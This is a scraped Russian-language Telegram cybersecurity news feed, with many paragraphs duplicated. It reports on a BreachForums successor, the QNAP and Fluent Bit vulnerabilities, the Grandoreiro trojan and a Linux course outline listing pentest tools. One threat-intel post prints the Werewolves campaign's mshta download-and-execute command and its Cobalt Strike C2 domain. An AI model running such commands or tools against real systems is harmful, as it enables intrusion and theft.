This media is not supported in your browser
VIEW IN TELEGRAM
Киберпанк, который мы заслужили. Часть 4.
Широко известный в киберподполье и некогда взломавший портал InfraGard ФБР США хакер USDoD намерен запустить ребрендинговую версию Breach Nation, которая, по задумке автора, должна стать алтернативой закрытому BreachForums.
Свое заявление об этом USDoD сделал в X всего через сутки после того, как 15 мая агенты ФБР США отдефейсили BreachForums и заявили об аресте его админов.
Согласно проекту USDoD, новая площадка будет включать два независимо управляемых сервера с доменами будут breachnation[.]io и databreached[.]io, а запуск ее намечен на 4 июля 2024 года.
Главным мотивом в работе USDoD называет желание возродить сообщество и обеспечить его работоспособность, нежели просто навариться, изложив по этому поводу свои мысли в нескольких пространных постах.
Вполне возможно, что USDoD удастся реализовать свои планы, но, как считают исследователи Acumen, у этого предприятия, скорее всего, будет «ограниченный срок годности».
Ведь хронология всех событий, последовавших после ареста главного админа BreachForums 21-летнего Конора Брайана Фитцпатрика, указывает на явную их режиссуру со стороны спецслужб.
Сам Помпомпурин отделался легким испугом и получил условно-досрочный срок на 20 лет, его заместитель - Бафомет как бы арестован, но без официальных сообщений от Минюста или ФБР.
Впрочем как и с пресловутой хакерской бандой Shiny Hunters, которая также намерена перезапустить проект под своим началом, на что USDoD отреагировал весьма скептично, сославшись на историю с BF V2.
Как бы то ни было, в любом случае будем посмотреть.
Свое заявление об этом USDoD сделал в X всего через сутки после того, как 15 мая агенты ФБР США отдефейсили BreachForums и заявили об аресте его админов.
Согласно проекту USDoD, новая площадка будет включать два независимо управляемых сервера с доменами будут breachnation[.]io и databreached[.]io, а запуск ее намечен на 4 июля 2024 года.
Главным мотивом в работе USDoD называет желание возродить сообщество и обеспечить его работоспособность, нежели просто навариться, изложив по этому поводу свои мысли в нескольких пространных постах.
Вполне возможно, что USDoD удастся реализовать свои планы, но, как считают исследователи Acumen, у этого предприятия, скорее всего, будет «ограниченный срок годности».
Ведь хронология всех событий, последовавших после ареста главного админа BreachForums 21-летнего Конора Брайана Фитцпатрика, указывает на явную их режиссуру со стороны спецслужб.
Сам Помпомпурин отделался легким испугом и получил условно-досрочный срок на 20 лет, его заместитель - Бафомет как бы арестован, но без официальных сообщений от Минюста или ФБР.
Впрочем как и с пресловутой хакерской бандой Shiny Hunters, которая также намерена перезапустить проект под своим началом, на что USDoD отреагировал весьма скептично, сославшись на историю с BF V2.
Как бы то ни было, в любом случае будем посмотреть.
Китай запускает свой Pwn2Own под названием Matrix Cup по образцу уже известного другого китайского хакерского конкурса Tianfu Cup.
Новый китайский поединок поспешили назвать «главным соревнованим по кибербезопасности в восточном полушарии».
И не зря, ведь призовой фонд первого этапа составит 20 млн. юаней (2,75 млн. долл. США), в том числе 18 млн. юаней (2,5 млн. долл. США) за 0-day эксплойты.
Он состоится 26-28 июня в городе Циндао, организатором выступят Qihoo 360 и Beijing Huayun'an Information Technology.
В целевой список входят китайские и западные продукты, а также алгоритмы искусственного интеллекта.
В их числе: ОС Windows, Linux и macOS, устройства Samsung Galaxy, Google Pixel, iPhone и др. китайские бренды, корпоративные продукты Microsoft, Zimbra, F5 и Citrix, сетевые устройства Cisco, Juniper Networks, Sonicwall и Linksys, устройства NAS от WD, Synology и QNAP, а такеж защитные решения от Fortinet, Checkpoint, Cisco, Ivanti и Kaspersky.
Кроме того, заявлены: продукты MariaDB, SQL Server, MySQL и Oracle Database, инструменты Adobe Reader, Microsoft Teams, Zoom и Microsoft Office, браузеры Chrome, Firefox, Edge и Safari, технологии виртуализации VMware, QEMU, Docker, Microsoft и Oracle, принтера HP и платформа Hadoop.
Правда относительно того, как будут информироваться поставщики на официальном сайте ничего упоминается, в отличие от того же Pwn2Own от Trend Micro.
Можно лишь констатировать, что согласно китайскому законодательству при любом раскладе по всем 0-day в первую очередь будет проинформировано правительство КНР.
Тем не менее, на западе активно критикуют китайский аналог Pwn2Own, обвиняя в задействовании засветившихся на Tianfu Cup эксплойтов в операциях APT.
С другой стороны, западные оппоненты уже не раз попадались на том, что те же 0-day внедряли еще на этапе разработки, а после фиксили задним числом в своих бюллетенях. Microsoft не даст соврать.
Новый китайский поединок поспешили назвать «главным соревнованим по кибербезопасности в восточном полушарии».
И не зря, ведь призовой фонд первого этапа составит 20 млн. юаней (2,75 млн. долл. США), в том числе 18 млн. юаней (2,5 млн. долл. США) за 0-day эксплойты.
Он состоится 26-28 июня в городе Циндао, организатором выступят Qihoo 360 и Beijing Huayun'an Information Technology.
В целевой список входят китайские и западные продукты, а также алгоритмы искусственного интеллекта.
В их числе: ОС Windows, Linux и macOS, устройства Samsung Galaxy, Google Pixel, iPhone и др. китайские бренды, корпоративные продукты Microsoft, Zimbra, F5 и Citrix, сетевые устройства Cisco, Juniper Networks, Sonicwall и Linksys, устройства NAS от WD, Synology и QNAP, а такеж защитные решения от Fortinet, Checkpoint, Cisco, Ivanti и Kaspersky.
Кроме того, заявлены: продукты MariaDB, SQL Server, MySQL и Oracle Database, инструменты Adobe Reader, Microsoft Teams, Zoom и Microsoft Office, браузеры Chrome, Firefox, Edge и Safari, технологии виртуализации VMware, QEMU, Docker, Microsoft и Oracle, принтера HP и платформа Hadoop.
Правда относительно того, как будут информироваться поставщики на официальном сайте ничего упоминается, в отличие от того же Pwn2Own от Trend Micro.
Можно лишь констатировать, что согласно китайскому законодательству при любом раскладе по всем 0-day в первую очередь будет проинформировано правительство КНР.
Тем не менее, на западе активно критикуют китайский аналог Pwn2Own, обвиняя в задействовании засветившихся на Tianfu Cup эксплойтов в операциях APT.
С другой стороны, западные оппоненты уже не раз попадались на том, что те же 0-day внедряли еще на этапе разработки, а после фиксили задним числом в своих бюллетенях. Microsoft не даст соврать.
Исследователи из watchTowr Labs стали предвестниками новых печальных новостей для владельцев устройств NAS QNAP, которые, как мы знаем, пользуются особым интересом со стороны банд вымогателей и APT.
На этот раз во встроенном ПО NAS обнаружено 15 уязвимостей, некоторые из которых могут быть использованы для атак с удаленным выполнением кода, не требующих аутентификации.
В своем отчете исследователи сосредоточились на на одном из них — CVE-2024-27130, ошибке переполнения стека без аутентификации, которая позволяет удаленно выполнять код (хотя и с небольшим предварительным условием).
Самое печальное то, что к настоящему времени поставщик исправил только первые четыре из пятнадцати, не включая CVE-2024-27130, для них доступны исправленные QTS 5.1.6.2722, сборка 20240402 и QuTS Hero h5.1.6.2734, сборка 20240414.
Тем не менее, после выдачи поставщику ряд продлений срока в рамках скоординированного раскрытия watchTowr Labs опубликовала PoC для одной из наиболее серьезных ошибок в наборе.
Всем затронутым пользователям исследователи порекомендовали рассмотреть возможность отключения таких систем или строго ограничить доступ до тех пор, пока не будут доступны исправления.
А будут они не скоро, ведь, как отметили в watchTowr, у QNAP мягко сказать замудренная кодовая база на любимом языке хакеров C с тяжелыми устаревшими компонентами.
Но это не останавливает исследователей и в ближайшее время будут выходить новые отчеты по оставшимся проблемам, которые с нетерпением также будут ждать операторы DeadBolt, Checkmate и Qlocker.
На этот раз во встроенном ПО NAS обнаружено 15 уязвимостей, некоторые из которых могут быть использованы для атак с удаленным выполнением кода, не требующих аутентификации.
В своем отчете исследователи сосредоточились на на одном из них — CVE-2024-27130, ошибке переполнения стека без аутентификации, которая позволяет удаленно выполнять код (хотя и с небольшим предварительным условием).
Самое печальное то, что к настоящему времени поставщик исправил только первые четыре из пятнадцати, не включая CVE-2024-27130, для них доступны исправленные QTS 5.1.6.2722, сборка 20240402 и QuTS Hero h5.1.6.2734, сборка 20240414.
Тем не менее, после выдачи поставщику ряд продлений срока в рамках скоординированного раскрытия watchTowr Labs опубликовала PoC для одной из наиболее серьезных ошибок в наборе.
Всем затронутым пользователям исследователи порекомендовали рассмотреть возможность отключения таких систем или строго ограничить доступ до тех пор, пока не будут доступны исправления.
А будут они не скоро, ведь, как отметили в watchTowr, у QNAP мягко сказать замудренная кодовая база на любимом языке хакеров C с тяжелыми устаревшими компонентами.
Но это не останавливает исследователей и в ближайшее время будут выходить новые отчеты по оставшимся проблемам, которые с нетерпением также будут ждать операторы DeadBolt, Checkmate и Qlocker.
watchTowr Labs
QNAP QTS - QNAPping At The Wheel (CVE-2024-27130 and friends)
Infosec is, at it’s heart, all about that data. Obtaining access to it (or disrupting access to it) is in every ransomware gang and APT group’s top-10 to-do-list items, and so it makes sense that our research voyage would, at some point, cross paths with…
͏Исследователи F.A.C.C.T. сообщили о новой волне атак с вредоносными рассылками со стороны Werewolves, специализирующейся на вымогательстве с помощью версии программы-вымогателя LockBit3 (Black), собранной на основе утекшего билдера.
Банда практикует технику двойного давления на жертву: кроме вымогательства за расшифровку данных, злоумышленники выкладывают на сайте информацию о тех, кто отказался платить выкуп, сумма которого обычно составляет 130 000 - 1 000 000$.
Ранее в апреле этого года вымогатели засветили, осуществляя массовые рассылки на тему весеннего призыва и досудебных претензий.
Целями новых атак стали российские промышленные предприятия, телекоммуникационные и IT-компании, финансовые и страховые организации.
Злоумышленники создали фейковый сайт крупного российского производителя спецтехники, полностью эмулировав содержимое оригинального портала с помощью HTTrack Website Copier. Отличие заключалось лишь в доменном имени: у оригинального - com, у фейка - ru.
Письма с темами «Досудебная претензия» и «Рекламация» содержали вредоносные вложения, загружающие Cobalt Strike Beacon.
После того, как жертва открывает вложенный документ «Рекламация.doc» загружается RTF-документ, эксплуатирующий уязвимость CVE-2017-11882.
На устройство жертвы доставляется HTA (HTML Application): mshta https://iplis[.]ru/laydowngrenade.jpeg -> hxxp://vlasta-s[.]ru/logista.hta.
HTA-файл выполняет powershell-команду, в результате которой распаковывается и запускается шелл-код Cobalt Strike Stager, который загружает Сobalt Strike Beacon, конфигурация которого содержит watermark: 987654321 и C&C: poopy[.]aarkhipov[.]ru.
Банда практикует технику двойного давления на жертву: кроме вымогательства за расшифровку данных, злоумышленники выкладывают на сайте информацию о тех, кто отказался платить выкуп, сумма которого обычно составляет 130 000 - 1 000 000$.
Ранее в апреле этого года вымогатели засветили, осуществляя массовые рассылки на тему весеннего призыва и досудебных претензий.
Целями новых атак стали российские промышленные предприятия, телекоммуникационные и IT-компании, финансовые и страховые организации.
Злоумышленники создали фейковый сайт крупного российского производителя спецтехники, полностью эмулировав содержимое оригинального портала с помощью HTTrack Website Copier. Отличие заключалось лишь в доменном имени: у оригинального - com, у фейка - ru.
Письма с темами «Досудебная претензия» и «Рекламация» содержали вредоносные вложения, загружающие Cobalt Strike Beacon.
После того, как жертва открывает вложенный документ «Рекламация.doc» загружается RTF-документ, эксплуатирующий уязвимость CVE-2017-11882.
На устройство жертвы доставляется HTA (HTML Application): mshta https://iplis[.]ru/laydowngrenade.jpeg -> hxxp://vlasta-s[.]ru/logista.hta.
HTA-файл выполняет powershell-команду, в результате которой распаковывается и запускается шелл-код Cobalt Strike Stager, который загружает Сobalt Strike Beacon, конфигурация которого содержит watermark: 987654321 и C&C: poopy[.]aarkhipov[.]ru.
Исследователи IBM сообщают о возвращении вредоносного ПО Grandoreiro после того, как пять разработчиков были задержаны в результате силовой операции в Бразилии в начале прошлого года.
Замеченный в 2017 году Grandoreiro таргетирвоался на испаноязычные страны и привело к хищениям в размере 120 миллионов долларов.
Вернувшийся Grandoreiro теперь задействован в крупномасштабной фишинговой кампании с марта 2024 года, вероятно, в рамках модели MaaS и нацелен на более чем в 60 стран и порядка 1500 банков.
Сам троян подвергся технической модернизации, в результате которой было добавлено множество новых мощных функций и улучшений, а фишинговые приманки разнообразны специально под конкретных жертв.
В электронных письмах авторы выдают себя за правительственные учреждения из Мексике, Аргентине и Южной Африке, в основном за налоговые службы и федеральные органы по электроэнергетике.
Среди замеченных IBM X-Force улучшений: переработанный алгоритм дешифрования строк с использованием комбинации AES CBC и специального декодера, алгоритма генерации домена (DGA), новые механизмы сохранения и отключения системы безопасности в Microsoft Outlook и рассылки на новые цели.
Кроме того, расширен таргетинг банковских приложений и криптокошельков. Обновленный набора команд теперь включает удаленное управление, загрузку/загрузку файлов, ведение журнала клавиатуры и манипулирование браузером с помощью команд JavaScript.
Еще одна примечательная новая функция - это способность Grandoreiro выполнять детальное профилирование жертв для решения о выполнении на устройстве.
При этом аналитики IBM сообщают, что последняя версия трояна избегает запуска в определенных странах, таких как Россия, Чехия, Нидерланды и Польша, а также на компьютерах с Windows 7 в США, где не активен антивирус.
Таким образом, несмотря на недавние действия правоохранительных органов, Grandoreiro жив и теперь более активен, значительно увеличивая свой таргетинг, а вместе с ним и гонорар своих операторов.
Замеченный в 2017 году Grandoreiro таргетирвоался на испаноязычные страны и привело к хищениям в размере 120 миллионов долларов.
Вернувшийся Grandoreiro теперь задействован в крупномасштабной фишинговой кампании с марта 2024 года, вероятно, в рамках модели MaaS и нацелен на более чем в 60 стран и порядка 1500 банков.
Сам троян подвергся технической модернизации, в результате которой было добавлено множество новых мощных функций и улучшений, а фишинговые приманки разнообразны специально под конкретных жертв.
В электронных письмах авторы выдают себя за правительственные учреждения из Мексике, Аргентине и Южной Африке, в основном за налоговые службы и федеральные органы по электроэнергетике.
Среди замеченных IBM X-Force улучшений: переработанный алгоритм дешифрования строк с использованием комбинации AES CBC и специального декодера, алгоритма генерации домена (DGA), новые механизмы сохранения и отключения системы безопасности в Microsoft Outlook и рассылки на новые цели.
Кроме того, расширен таргетинг банковских приложений и криптокошельков. Обновленный набора команд теперь включает удаленное управление, загрузку/загрузку файлов, ведение журнала клавиатуры и манипулирование браузером с помощью команд JavaScript.
Еще одна примечательная новая функция - это способность Grandoreiro выполнять детальное профилирование жертв для решения о выполнении на устройстве.
При этом аналитики IBM сообщают, что последняя версия трояна избегает запуска в определенных странах, таких как Россия, Чехия, Нидерланды и Польша, а также на компьютерах с Windows 7 в США, где не активен антивирус.
Таким образом, несмотря на недавние действия правоохранительных органов, Grandoreiro жив и теперь более активен, значительно увеличивая свой таргетинг, а вместе с ним и гонорар своих операторов.
Security Intelligence
Grandoreiro banking trojan unleashed: X-Force observing emerging global campaigns
Since March 2024, IBM X-Force has been tracking several large-scale phishing campaigns distributing the Grandoreiro banking trojan.
͏Ежегодно спецы из Cyber Threat Intelligence Лаборатории Касперского делятся с инфосек-сообществом результатами глобальных исследований по APT и ransomware, проделывая при этом глубочайшую аналитическую работу и штудируя сотни инцидентов по всему миру и миллионы образцов вредоносного ПО.
В 2024 году в ЛК решили качественно изменить подход и представить серию более целевых отчётов о киберугрозах по конкретным регионам, каждый из которых станет настоящим must have для отраслевых экспертов, аналитиков и ИБ-специалистов всех мастей, включая SOC, Cyber Threat Intelligence, DFIR и Threat Hunting.
Первый из них посвящен анализу ландшафта угроз для России и стран СНГ.
В его основе анализ стратегий злоумышленников при вторжении в различные инфраструктуры с обширной базой по TTPs, описанных в рамках уникальной методологии Unified Kill Chain.
Проследив за динамикой атак и угроз, исследовали ЛК отмечают активизацию проявлений хактивизма, сопутствующих росту нападений с использованием доступного инструментария и безотносительно отраслевой принадлежности.
Не снижают своей значимости угрозы, исходящие от APT-групп и банд вымогателей, активность которых продолжает оставаться актуальной для изучаемого региона.
И при всем при этом, традиционно наблюдается давняя тенденция, связанная с таргетингом злоумышленников на наиболее доступные объекты с низким уровнем кибербезопасности.
В целом, основная цель исследования, на наш взгляд, реализована.
Разработанный ЛК материал определенно стоит рассматривать в качестве боевого руководства для разработки наиболее эффективных подходов по предотвращению и реагированию на киберугрозы.
Так что настоятельно рекомендуем ознакомиться с Полной версией отчета «Ландшафт угроз для России и СНГ в 2024 году» (PDF).
В 2024 году в ЛК решили качественно изменить подход и представить серию более целевых отчётов о киберугрозах по конкретным регионам, каждый из которых станет настоящим must have для отраслевых экспертов, аналитиков и ИБ-специалистов всех мастей, включая SOC, Cyber Threat Intelligence, DFIR и Threat Hunting.
Первый из них посвящен анализу ландшафта угроз для России и стран СНГ.
В его основе анализ стратегий злоумышленников при вторжении в различные инфраструктуры с обширной базой по TTPs, описанных в рамках уникальной методологии Unified Kill Chain.
Проследив за динамикой атак и угроз, исследовали ЛК отмечают активизацию проявлений хактивизма, сопутствующих росту нападений с использованием доступного инструментария и безотносительно отраслевой принадлежности.
Не снижают своей значимости угрозы, исходящие от APT-групп и банд вымогателей, активность которых продолжает оставаться актуальной для изучаемого региона.
И при всем при этом, традиционно наблюдается давняя тенденция, связанная с таргетингом злоумышленников на наиболее доступные объекты с низким уровнем кибербезопасности.
В целом, основная цель исследования, на наш взгляд, реализована.
Разработанный ЛК материал определенно стоит рассматривать в качестве боевого руководства для разработки наиболее эффективных подходов по предотвращению и реагированию на киберугрозы.
Так что настоятельно рекомендуем ознакомиться с Полной версией отчета «Ландшафт угроз для России и СНГ в 2024 году» (PDF).
Исследователи Tenable сообщают о критической уязвимости в Fluent Bit, которая затрагивает практически всех крупных облачных провайдеров.
Fluent Bit - это чрезвычайно популярное решение ведения журналов и метрик для Windows, Linux и macOS, встроенное в основные дистрибутивы Kubernetes, в том числе от Amazon AWS, Google GCP и Microsoft Azure.
Согласно статистике по состоянию на март 2024, Fluent Bit был загружен и развернут более 13 миллиардов раз и использует в числе прочих инфосек-вендорами Crowdstrike и Trend Micro, а также крупными технологическими компаниями, включая Cisco, VMware, Intel, Adobe и Dell.
Получившая название Linguistic Lumberjack и отслеживаемая как CVE-2024-4323, критическая уязвимость повреждения памяти появилась в версии 2.0.7 и обусловлена проблемой переполнения буфера кучи при анализе запросов трассировки встроенным HTTP-сервером Fluent Bit.
Помимо того, что неаутентифицированные злоумышленники могут легко воспользоваться уязвимостью безопасности для вызова DoS или удаленного захвата конфиденциальной информации, также ее можно задействовать для RCE (при наличии определенных условий и достаточного времени для создания эксплойта).
Учитывая последнее, исследователи полагают, что основные непосредственные риски связаны с возможностью доступной реализации DoS и утечки информации.
Tenable уведомила поставщика об ошибке 30 апреля, а исправления были внесены в основную ветку Fluent Bit уже 15 мая. Ожидается, что официальные выпуски с патчем будут поставляться с Fluent Bit 3.0.4 (пакеты Linux доступны здесь). Кроме того, проинформировали Microsoft, Amazon и Google.
В отсутствие исправлений для всех затронутых платформ клиентам следует смягчить проблему, ограничив доступ к API мониторинга Fluent Bit авторизованным пользователям и службам. Либо вовсе отключить уязвимую конечную точку API.
Fluent Bit - это чрезвычайно популярное решение ведения журналов и метрик для Windows, Linux и macOS, встроенное в основные дистрибутивы Kubernetes, в том числе от Amazon AWS, Google GCP и Microsoft Azure.
Согласно статистике по состоянию на март 2024, Fluent Bit был загружен и развернут более 13 миллиардов раз и использует в числе прочих инфосек-вендорами Crowdstrike и Trend Micro, а также крупными технологическими компаниями, включая Cisco, VMware, Intel, Adobe и Dell.
Получившая название Linguistic Lumberjack и отслеживаемая как CVE-2024-4323, критическая уязвимость повреждения памяти появилась в версии 2.0.7 и обусловлена проблемой переполнения буфера кучи при анализе запросов трассировки встроенным HTTP-сервером Fluent Bit.
Помимо того, что неаутентифицированные злоумышленники могут легко воспользоваться уязвимостью безопасности для вызова DoS или удаленного захвата конфиденциальной информации, также ее можно задействовать для RCE (при наличии определенных условий и достаточного времени для создания эксплойта).
Учитывая последнее, исследователи полагают, что основные непосредственные риски связаны с возможностью доступной реализации DoS и утечки информации.
Tenable уведомила поставщика об ошибке 30 апреля, а исправления были внесены в основную ветку Fluent Bit уже 15 мая. Ожидается, что официальные выпуски с патчем будут поставляться с Fluent Bit 3.0.4 (пакеты Linux доступны здесь). Кроме того, проинформировали Microsoft, Amazon и Google.
В отсутствие исправлений для всех затронутых платформ клиентам следует смягчить проблему, ограничив доступ к API мониторинга Fluent Bit авторизованным пользователям и службам. Либо вовсе отключить уязвимую конечную точку API.
Tenable®
Linguistic Lumberjack: Attacking Cloud Services via Logging Endpoints (Fluent Bit - CVE-2024-4323)
Tenable Research has discovered a critical memory corruption vulnerability dubbed Linguistic Lumberjack in Fluent Bit, a core component in the monitoring infrastructure of many cloud services.
Если не видно разницы, то зачем платить больше, или зачем вообще платить.
Именно этим принципом теперь руководствуются студенты Калифорнийского университета в Санта-Крус, обращаясь к услугам местной прачечной.
Все дело в том, что двое из них Александр Шербрук и Яков Тараненко обнаружили уязвимость, затрагивающую более миллиона подключенных к Интернету стиральных машин CSC ServiceWorks, которые используются в жилых домах и кампусах колледжей по всему миру.
Удаленный злоумышленник может воспользоваться этой уязвимостью для отправки специально созданных команд на стиральные машины и запуска циклов стирки вещей абсолютно бесплатно.
Обнаружить недостатки Шербрука побудил нулевой баланс его карты в совокупности с кучей несобранных вещей. Поколдовав с командами, студент разработал сценарии, запустив который смог активировать стиралку на запуск цикла.
Затем студенты также смогли пополнить свой виртуальный счет в прачечной на несколько миллионов долларов, доступный через мобильное приложение CSC Go с проблемным API.
Как выяснилось, в приложении отсутствуют проверки безопасности и взаимная аутентификация между приложением и серверами CSC, на которые также тможно отправлять команды, недоступные через само приложение.
Несмотря на предпринятые попытки связаться с CSC студентам так и не удалось, в связи с чем о своих выводах они уведомили Координационный центр CERT Университета Карнеги-Меллон.
Тем не менее, CSC обнулил студентам накрученный баланс, но ошибки так и не признал, и, собственно, не исправил.
Так что, действительно: если не видно разницы, зачем платить больше?
Именно этим принципом теперь руководствуются студенты Калифорнийского университета в Санта-Крус, обращаясь к услугам местной прачечной.
Все дело в том, что двое из них Александр Шербрук и Яков Тараненко обнаружили уязвимость, затрагивающую более миллиона подключенных к Интернету стиральных машин CSC ServiceWorks, которые используются в жилых домах и кампусах колледжей по всему миру.
Удаленный злоумышленник может воспользоваться этой уязвимостью для отправки специально созданных команд на стиральные машины и запуска циклов стирки вещей абсолютно бесплатно.
Обнаружить недостатки Шербрука побудил нулевой баланс его карты в совокупности с кучей несобранных вещей. Поколдовав с командами, студент разработал сценарии, запустив который смог активировать стиралку на запуск цикла.
Затем студенты также смогли пополнить свой виртуальный счет в прачечной на несколько миллионов долларов, доступный через мобильное приложение CSC Go с проблемным API.
Как выяснилось, в приложении отсутствуют проверки безопасности и взаимная аутентификация между приложением и серверами CSC, на которые также тможно отправлять команды, недоступные через само приложение.
Несмотря на предпринятые попытки связаться с CSC студентам так и не удалось, в связи с чем о своих выводах они уведомили Координационный центр CERT Университета Карнеги-Меллон.
Тем не менее, CSC обнулил студентам накрученный баланс, но ошибки так и не признал, и, собственно, не исправил.
Так что, действительно: если не видно разницы, зачем платить больше?
TechCrunch
Two Santa Cruz students uncover security bug that let anyone do their laundry for free
CSC ServiceWorks belatedly apologized and thanked the security researchers after ignoring a security flaw for months.
͏Не могли не отметить руководство по буткитам Windows, которое подготовил и опубликовал исследователь Артем Баранов.
Статья включает два основных раздела: сборник источников с основными отчетами и докладами по буткитам и сводную инфографику
Статья включает два основных раздела: сборник источников с основными отчетами и докладами по буткитам и сводную инфографику
͏Microsoft релизнула новую функцию ИИ-ноутбуков на Windows 11 под названием Recall, которая по факту позволит вести круглосуточный мониторинг всего, что пользователь делает на своем компьютере благодаря постоянным скринам экрана.
Исследователи уже назвали алгоритм АНБшным, несмотря на все заверения разработчиков относительного локального задействования Recall.
Бурные дискуссии на этот счет уже переполняют X и даже сам Илон Макс не смог не отреагировать, назвав завирусившийся видос с 30 млн.просмотров, где Сатья Наделла рассказывает про плюсы Recall, эпизодом из сериала Черное зеркало.
Тем временем, искушенные пользователи Apple после очередного обновления:
Исследователи уже назвали алгоритм АНБшным, несмотря на все заверения разработчиков относительного локального задействования Recall.
Бурные дискуссии на этот счет уже переполняют X и даже сам Илон Макс не смог не отреагировать, назвав завирусившийся видос с 30 млн.просмотров, где Сатья Наделла рассказывает про плюсы Recall, эпизодом из сериала Черное зеркало.
Тем временем, искушенные пользователи Apple после очередного обновления:
Forwarded from Life-Hack - Хакер
Подведем итоги нашего бесплатного курса "Linux для новичков". Курс был составлен из различных модулей, предназначенных для ознакомления с основными аспектами работы в операционной системе Linux.
В рамках курса были изучены основы работы с файлами и директориями, управление пользователями и группами, сетевые возможности Linux, мониторинг, журналирование и проверка безопасности. Также были рассмотрены темы работы с данными и дисками в Linux, туннелирование трафика и полезные инструменты для взлома.
Неделя 1: Введение в Linux
• Что такое Linux и почему его выбирают?
• Основные дистрибутивы Linux: Ubuntu, Fedora, CentOS и др.
• Установка Linux: дуализм с Windows, LiveCD и виртуальные машины.
• Основные команды командной строки Linux: cd, ls, mkdir, rm и др.
• Структура файловой системы Linux: /bin, /etc, /home и др.
• Пакетный менеджер APT для установки и обновления программ.
• Основы текстового редактора nano: открытие, редактирование и сохранение файлов.
Неделя 2: Работа с файлами и директориями
• Основные команды для работы с файлами и директориями: cp, mv, rm и др.
• Работа с архивами в Linux: создание, разархивирование, просмотр.
• Поиск файлов и содержимого в Linux: команды find и grep.
• Управление правами доступа к файлам и директориям в Linux: chmod и chown.
• Символьные и жесткие ссылки: создание и использование.
• Управление процессами и задачами в Linux: команды ps, top, kill и др.
• Автоматическое выполнение задач с помощью cron.
Неделя 3: Управление пользователями и группами
• Создание и удаление пользователей в Linux: команды useradd и userdel.
• Управление паролями пользователей: команда passwd.
• Назначение пользователей в группы: команда usermod.
• Создание и удаление групп в Linux: команды groupadd и groupdel.
• Управление правами доступа к файлам и директориям для пользователей и групп.
• Просмотр информации о пользователях и группах: команды id, whoami и др.
• Ограничение доступа пользователей к определенным ресурсам: команды chroot и sudo.
Неделя 4: Сетевые возможности Linux
• Конфигурация сети в Linux: настройка IP-адреса, маски подсети, шлюза.
• Проверка сетевого подключения: команда ping.
• Конфигурация сетевых интерфейсов: команды ifconfig и ip.
• Работа с удаленными хостами через SSH: подключение, передача файлов.
• Конфигурация DNS-сервера в Linux: файл /etc/resolv.conf.
• Настройка файрвола в Linux: команда iptables.
• Основы настройки и использования сетевых служб в Linux: FTP, Samba и др.
• Основы настройки и использования сетевых служб в Linux: Apache.
Неделя 5: Мониторинг, журналирование, проверка безопасности.
• Лог файлы системы Linux
• Как настроить центральный сервер ведения логов с помощью Rsyslog в Linux.
• Анализ лог-файлов: команды grep, awk, sed.
• Настройка системы мониторинга и аудита: утилиты auditd, nmon.
• Система мониторинга Zabbix
• Мониторинг сети с помощью tcpdump
• Проверка безопасности системы с помощью LinPEAS
Неделя 6: Работа с данными и дисками в Linux
• Использование утилиты rsync для синхронизации данных.
• Основы языка сценариев Bash: переменные, условия, циклы.
• Создание и выполнение сценариев Bash: утилита bash.
• Работа с образами дисков: команды dd, ddrescue.
• Восстановление данных с помощью LiveCD.
• Создание и настройка RAID-массивов для защиты данных.
• Дефрагментация диска Linux
Неделя7: Туннелирование трафика
• Установка и настройка OpenVPN сервера на Ubuntu
• Простая настройка WireGuard Linux.
• Настройка Shadowsocks.
• Pivoting: Chisel
• SSH туннели
• Проксирование трафика с помощью proxychains
• Pivoting: Lugolo-ng
Неделя 8: Полезные инструменты для взлома
• nmap 1 часть
• nmap 2 часть
• nmap 3 часть
• crackmapexec
• metasploit
• Burp Suite
• sqlmap
Не забывайте сохранить и поделиться нашим бесплатным курсом "Linux для новичков"!
#Linux #обучениеlinux #статьипоLinux
LH | Новости | Курсы | Мемы
В рамках курса были изучены основы работы с файлами и директориями, управление пользователями и группами, сетевые возможности Linux, мониторинг, журналирование и проверка безопасности. Также были рассмотрены темы работы с данными и дисками в Linux, туннелирование трафика и полезные инструменты для взлома.
Неделя 1: Введение в Linux
• Что такое Linux и почему его выбирают?
• Основные дистрибутивы Linux: Ubuntu, Fedora, CentOS и др.
• Установка Linux: дуализм с Windows, LiveCD и виртуальные машины.
• Основные команды командной строки Linux: cd, ls, mkdir, rm и др.
• Структура файловой системы Linux: /bin, /etc, /home и др.
• Пакетный менеджер APT для установки и обновления программ.
• Основы текстового редактора nano: открытие, редактирование и сохранение файлов.
Неделя 2: Работа с файлами и директориями
• Основные команды для работы с файлами и директориями: cp, mv, rm и др.
• Работа с архивами в Linux: создание, разархивирование, просмотр.
• Поиск файлов и содержимого в Linux: команды find и grep.
• Управление правами доступа к файлам и директориям в Linux: chmod и chown.
• Символьные и жесткие ссылки: создание и использование.
• Управление процессами и задачами в Linux: команды ps, top, kill и др.
• Автоматическое выполнение задач с помощью cron.
Неделя 3: Управление пользователями и группами
• Создание и удаление пользователей в Linux: команды useradd и userdel.
• Управление паролями пользователей: команда passwd.
• Назначение пользователей в группы: команда usermod.
• Создание и удаление групп в Linux: команды groupadd и groupdel.
• Управление правами доступа к файлам и директориям для пользователей и групп.
• Просмотр информации о пользователях и группах: команды id, whoami и др.
• Ограничение доступа пользователей к определенным ресурсам: команды chroot и sudo.
Неделя 4: Сетевые возможности Linux
• Конфигурация сети в Linux: настройка IP-адреса, маски подсети, шлюза.
• Проверка сетевого подключения: команда ping.
• Конфигурация сетевых интерфейсов: команды ifconfig и ip.
• Работа с удаленными хостами через SSH: подключение, передача файлов.
• Конфигурация DNS-сервера в Linux: файл /etc/resolv.conf.
• Настройка файрвола в Linux: команда iptables.
• Основы настройки и использования сетевых служб в Linux: FTP, Samba и др.
• Основы настройки и использования сетевых служб в Linux: Apache.
Неделя 5: Мониторинг, журналирование, проверка безопасности.
• Лог файлы системы Linux
• Как настроить центральный сервер ведения логов с помощью Rsyslog в Linux.
• Анализ лог-файлов: команды grep, awk, sed.
• Настройка системы мониторинга и аудита: утилиты auditd, nmon.
• Система мониторинга Zabbix
• Мониторинг сети с помощью tcpdump
• Проверка безопасности системы с помощью LinPEAS
Неделя 6: Работа с данными и дисками в Linux
• Использование утилиты rsync для синхронизации данных.
• Основы языка сценариев Bash: переменные, условия, циклы.
• Создание и выполнение сценариев Bash: утилита bash.
• Работа с образами дисков: команды dd, ddrescue.
• Восстановление данных с помощью LiveCD.
• Создание и настройка RAID-массивов для защиты данных.
• Дефрагментация диска Linux
Неделя7: Туннелирование трафика
• Установка и настройка OpenVPN сервера на Ubuntu
• Простая настройка WireGuard Linux.
• Настройка Shadowsocks.
• Pivoting: Chisel
• SSH туннели
• Проксирование трафика с помощью proxychains
• Pivoting: Lugolo-ng
Неделя 8: Полезные инструменты для взлома
• nmap 1 часть
• nmap 2 часть
• nmap 3 часть
• crackmapexec
